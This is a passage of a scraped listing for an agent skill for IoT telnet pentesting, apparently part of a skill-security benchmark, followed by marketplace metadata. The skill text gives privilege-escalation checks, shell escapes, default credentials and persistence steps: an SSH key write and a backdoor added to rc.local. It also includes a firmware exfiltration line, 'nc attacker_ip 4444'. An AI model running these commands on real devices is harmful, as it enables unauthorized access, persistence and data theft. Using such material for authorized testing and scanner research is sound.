2>\u002Fdev\u002Fnull\n\n# SUID\u002FSGID binaries (privilege escalation vectors)\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull\n\n# World-writable files\u002Fdirectories\nfind \u002F -perm -2 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2 -type d 2>\u002Fdev\u002Fnull\n\n# Development\u002Fdebugging tools\nwhich gdb gcc python perl ruby tcpdump\nls \u002Fusr\u002Fbin\u002F \u002Fbin\u002F \u002Fsbin\u002F \u002Fusr\u002Fsbin\u002F\n```\n\n### 4. Privilege Escalation (if not root)\n\n**Check for common vulnerabilities:**\n```bash\n# Kernel exploits\nuname -r  # Check kernel version for known exploits\n\n# Check for exploitable services\nps aux | grep root\n\n# Writable service files\nfind \u002Fetc\u002Finit.d\u002F -writable 2>\u002Fdev\u002Fnull\n\n# Cron jobs\ncrontab -l\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n```\n\n### 5. Persistence and Further Access\n\n**Establish additional access methods:**\n```bash\n# Add SSH access (if SSH is available)\nmkdir -p \u002Froot\u002F.ssh\necho \"your_ssh_public_key\" >> \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 600 \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 700 \u002Froot\u002F.ssh\n\n# Start SSH service (if not running)\n\u002Fetc\u002Finit.d\u002Fssh start\n# or\n\u002Fetc\u002Finit.d\u002Fsshd start\n# or\n\u002Fetc\u002Finit.d\u002Fdropbear start  # Common on embedded devices\n\n# Add to startup scripts\necho \"\u002Fpath\u002Fto\u002Fbackdoor &\" >> \u002Fetc\u002Frc.local\n```\n\n### 6. Firmware Extraction\n\n**Extract firmware for offline analysis:**\n```bash\n# Find MTD partitions (common on embedded devices)\ncat \u002Fproc\u002Fmtd\ncat \u002Fproc\u002Fpartitions\n\n# Dump flash partitions\ndd if=\u002Fdev\u002Fmtd0 of=\u002Ftmp\u002Fbootloader.bin\ndd if=\u002Fdev\u002Fmtd1 of=\u002Ftmp\u002Fkernel.bin\ndd if=\u002Fdev\u002Fmtd2 of=\u002Ftmp\u002Frootfs.bin\n\n# Copy to external storage or network\n# If network is available:\nnc attacker_ip 4444 \u003C \u002Ftmp\u002Frootfs.bin\n\n# If HTTP server is available:\ncd \u002Ftmp\nbusybox httpd -p 8000\n# Then download from http:\u002F\u002Fdevice_ip:8000\u002Frootfs.bin\n```\n\n## Common IoT Device Scenarios\n\n### Scenario 1: No Authentication Shell\n```bash\n# Connect - drops directly to root shell\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --interactive\n# Enumerate and exploit\n```\n\n### Scenario 2: Custom Port No-Auth Shell\n```bash\n# Many IoT cameras use port 2222\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --interactive\n```\n\n### Scenario 3: Password-Protected Shell\n```bash\n# If you encounter a password prompt, the helper will detect it\n# Try default credentials:\n# - root\u002Froot\n# - admin\u002Fadmin\n# - root\u002F(empty)\n# Search online for device-specific defaults\n```\n\n### Scenario 4: Limited Shell Escape\n```bash\n# If you get a limited shell:\n# Try common escape techniques:\necho $SHELL\n\u002Fbin\u002Fsh\n\u002Fbin\u002Fbash\nvi  # Then :!\u002Fbin\u002Fsh\nless \u002Fetc\u002Fpasswd  # Then !\u002Fbin\u002Fsh\nfind \u002F -exec \u002Fbin\u002Fsh \\;\nawk 'BEGIN {system(\"\u002Fbin\u002Fsh\")}'\n```\n\n## Security Testing Checklist\n\n- [ ] Identify device and firmware version\n- [ ] Check for unauthenticated access\n- [ ] Test for default\u002Fweak credentials\n- [ ] Enumerate network services and open ports\n- [ ] Check for hardcoded credentials in files\n- [ ] Test for command injection vulnerabilities\n- [ ] Check file permissions (SUID, world-writable)\n- [ ] Check for outdated software with known CVEs\n- [ ] Test for privilege escalation vectors\n- [ ] Extract firmware for offline analysis\n- [ ] Document all findings with screenshots\u002Flogs\n\n## Best Practices\n\n1. **Always log your session**: Default logfile is `\u002Ftmp\u002Ftelnet_session.log`\n2. **Document everything**: Take notes on commands, responses, and findings\n3. **Use batch scripts**: Create enumeration scripts for common tasks\n4. **Research the device**: Look up known vulnerabilities, default credentials, and common issues\n5. **Use proper authorization**: Only perform pentesting on devices you own or have explicit permission to test\n6. **Be careful with destructive commands**: Avoid commands that could brick devices or corrupt data\n7. **Monitor your session**: Use `tail -f` in another terminal to watch activity\n\n## Troubleshooting\n\n**Problem: Connection refused**\n- Solution: Check if telnet service is running, verify port number, check firewall rules\n\n**Problem: Connection timeout**\n- Solution: Verify network connectivity, check if device is powered on, verify IP address\n\n**Problem: \"Permission denied\"**\n- Solution: Telnet service may require authentication, try default credentials\n\n**Problem: Commands not echoing**\n- Solution: Use `--raw` flag to see unfiltered output\n\n**Problem: Garbled output or wrong prompt detection**\n- Solution: Use `--prompt` flag with custom regex pattern for your specific device\n\n## Pre-built Enumeration Scripts\n\nThe skill includes pre-built enumeration scripts for common tasks:\n\n- `enum_system.txt`: System information gathering\n- `enum_network.txt`: Network configuration enumeration\n- `enum_files.txt`: File system exploration\n- `enum_security.txt`: Security-focused enumeration\n\n**Usage:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --script .claude\u002Fskills\u002Ftelnetshell\u002Fenum_system.txt\n```\n\n## Example Usage\n\n```bash\n# Basic connection to standard telnet port\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"uname -a\"\n\n# Connection to custom port (common for IoT cameras)\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --command \"ls \u002F\"\n\n# Interactive session with logging\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --logfile \u002Ftmp\u002Fcamera_session.log \\\n  --interactive\n\n# Batch enumeration\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --script enum_system.txt \\\n  --json > results.json\n\n# Long-running command with custom timeout\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --timeout 10 \\\n  --command \"find \u002F -name '*.conf'\"\n```\n\n## References\n\n- [BusyBox Official Site](https:\u002F\u002Fbusybox.net\u002F)\n- [BusyBox Command List](https:\u002F\u002Fbusybox.net\u002Fdownloads\u002FBusyBox.html)\n- IoT pentesting resources and vulnerability databases\n- Device-specific documentation and datasheets\n",{"name":5,"description":7},"main","f2ec4b3b9133d34eeaf9b38e4b0a97e8e5705a7f","benchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell",0,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard","https:\u002F\u002Fgithub.com\u002FJSGforever","2026-08-29 18:27:56",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add JSGforever\u002Fskillguard --skill telnetshell",{"tool":60,"command":61},"bunx","bunx skills add JSGforever\u002Fskillguard --skill telnetshell",{"tool":63,"command":64},"pnpm","pnpm dlx skills add JSGforever\u002Fskillguard --skill telnetshell","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002FSKILL.md",true,[68,74,78,82,86,90,94],{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"enum_files.txt","REFERENCE","参考文档",693,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002Fenum_files.txt",{"path":75,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":76,"sourceHtmlUrl":77},"enum_network.txt",543,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002Fenum_network.txt",{"path":79,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":80,"sourceHtmlUrl":81},"enum_security.txt",1017,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002Fenum_security.txt",{"path":83,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":84,"sourceHtmlUrl":85},"enum_system.txt",563,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002Fenum_system.txt",{"path":87,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":88,"sourceHtmlUrl":89},"examples.md",13029,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002Fexamples.md",{"path":91,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":92,"sourceHtmlUrl":93},"OBSERVING_SESSIONS.md",7804,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002FOBSERVING_SESSIONS.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"telnet_helper.py","SCRIPT","脚本",15874,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002Ftelnet_helper.py",[101,130,146,173,195,216],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":110,"publishedAt":42},"01M71HY2SNXBA9Q00WZDTZQ31Z","skillguard-codex-scanner","Hybrid deterministic+LLM agent-skill security scanner. Use when asked to \"scan a skill\", \"audit a skill\", \"check skill safety\", \"validate SKILL.md\", \"is this skill safe to install\", or assess prompt injection, malicious scripts, excessive permissions, secret exposure, supply chain risk, or structural attacks in an agent skill. Produces a security-review report plus a machine-parseable verdict block.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fsrc\u002Fskillguard\u002Fstatic_scanner\u002Fskillguard-codex-scanner\u002FSKILL.md",[107],{"categoryNo":108,"categoryName":109,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",[111,112,113,114,115,116,117,118,119,120,121,122,40,123,124,125,126,127,128,129],"scanner","skillguard codex scanner","skillguard","codex","chain","skill security","security-review","review report","structural","secret","prompt injection","security scanner","review","malicious","permissions","exposure","audit","scripts","safe",{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":134,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":142,"publishedAt":42},"01M71HY0SPKTT3S27BC2HPAC5M","data-exfiltrator","Analyzes data files","MIT","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Fsmoke-one-skill\u002Fasset1__cisco-ai-defense--data-exfiltrator\u002FSKILL.md",[137],{"categoryNo":138,"categoryName":139,"taxonomyType":140,"taxonomyTypeDesc":141},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[143,144,145],"data","data exfiltrator","files",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":152,"publishedAt":42},"01M71HXVS9EMN44BGDW215FZ72","real-time-collaboration-engine","Build real-time collaborative editing with WebSockets, OT\u002FCRDT conflict resolution, and presence awareness. Implements cursor tracking, optimistic updates, and offline sync. Use for collaborative editors, whiteboards, video editing. Activate on \"real-time collaboration\", \"WebSocket sync\", \"multiplayer editing\", \"CRDT\", \"presence awareness\". NOT for simple chat, request-response APIs, or single-user apps.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--real-time-collaboration-engine\u002FSKILL.md",[],[153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172],"time","real time collaboration engine","real time collaboration","collaboration","engine","real time","Video","reliability","video editing","performance","conflict resolution","presence","access","apps","updates","Bash","activate","optimizer","react","streaming",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":182,"publishedAt":42},"01M71HXP6CTY4KFN0QVMMN0V7J","react-performance-optimizer","Optimize React apps for 60fps performance. Implements memoization, virtualization, code splitting, bundle optimization. Use for slow renders, large lists, bundle bloat. Activate on \"React performance\", \"slow render\", \"useMemo\", \"bundle size\", \"virtualization\". NOT for backend optimization, non-React frameworks, or premature optimization.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--react-performance-optimizer\u002FSKILL.md",[179],{"categoryNo":180,"categoryName":181,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000009","前端开发",[162,183,170,171,184,185,186,187,188,189,153,190,191,166,168,192,169,172,193,194],"react performance optimizer","react performance","performance optimizer","app","nextjs","expert","re","render","2025","code","router","strategies",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":202,"publishedAt":42},"01M71HXH7QXSQB4QTDZ7SP7YXQ","llm-streaming-response-handler","Build production LLM streaming UIs with Server-Sent Events, real-time token display, cancellation, error recovery. Handles OpenAI\u002FAnthropic\u002FClaude streaming APIs. Use for chatbots, AI assistants, real-time text generation. Activate on \"LLM streaming\", \"SSE\", \"token stream\", \"chat UI\", \"real-time AI\". NOT for batch processing, non-streaming APIs, or WebSocket bidirectional chat.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--llm-streaming-response-handler\u002FSKILL.md",[201],{"categoryNo":180,"categoryName":181,"taxonomyType":20,"taxonomyTypeDesc":21},[203,172,204,205,206,207,162,153,208,209,210,168,169,170,211,171,212,213,214,215],"llm streaming response handler","handler","error","processing","retry","chat ui","error recovery","critical","batch","display","text","server","read",{"skillNo":217,"name":218,"nameZh":6,"description":219,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":220,"categories":221,"keywords":227,"publishedAt":42},"01M71HXCB0E1YRKYW1Y8T0Y106","github-actions-pipeline-builder","Build production CI\u002FCD pipelines with GitHub Actions. Implements matrix builds, caching, deployments, testing, security scanning. Use for automated testing, deployments, release workflows. Activate on \"GitHub Actions\", \"CI\u002FCD\", \"workflow\", \"deployment pipeline\", \"automated testing\". NOT for Jenkins\u002FCircleCI, manual deployments, or non-GitHub repositories.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--github-actions-pipeline-builder\u002FSKILL.md",[222,223,226],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":224,"categoryName":225,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":108,"categoryName":109,"taxonomyType":20,"taxonomyTypeDesc":21},[228,229,230,231,232,233,234,160,188,41,235,236,169,194,237,215,238,239,240,241],"github actions pipeline builder","actions","github actions","pipeline builder","github","builder","pipeline","ci","workflows","run","release","write","edit","git"]